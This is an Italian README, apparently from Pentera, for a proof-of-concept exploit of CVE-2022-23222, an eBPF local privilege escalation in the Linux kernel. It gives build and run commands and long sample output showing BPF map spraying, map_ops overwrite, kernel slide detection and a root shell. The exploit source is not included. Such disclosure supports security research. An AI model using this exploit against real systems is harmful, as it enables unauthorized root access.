
Questa è una POC per CVE 2022-23222, una vulnerabilità di escalation dei privilegi locale. Questa POC è stata scritta per Ubuntu 20.04 con versione del kernel 5.13.0-27-generic, ma anche altre versioni del kernel sono vulnerabili. Per un'analisi dettagliata dell'exploit, leggi il nostro write-up.
Assicurati che libbpf sia installato, poiché è un requisito per l'exploit.
Per compilare la POC, esegui il seguente comando:
make
Per eseguire l'exploit, esegui il seguente eseguibile:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
Il codice descritto in questa advisory (il "Codice") è fornito "così com'è" e "come disponibile" e può contenere bug, errori e altri difetti. Si consiglia di proteggere i dati importanti e di prestare attenzione. Utilizzando questo Codice, accetti che Pentera non abbia alcuna responsabilità verso di te per qualsiasi richiesta in relazione al Codice. Pentera declina qualsiasi responsabilità per danni diretti, indiretti, incidentali, punitivi, esemplari, speciali o consequenziali, anche se Pentera o le sue parti correlate sono state avvisate della possibilità di tali danni. Pentera non si assume alcun obbligo di aggiornare il Codice o questa advisory.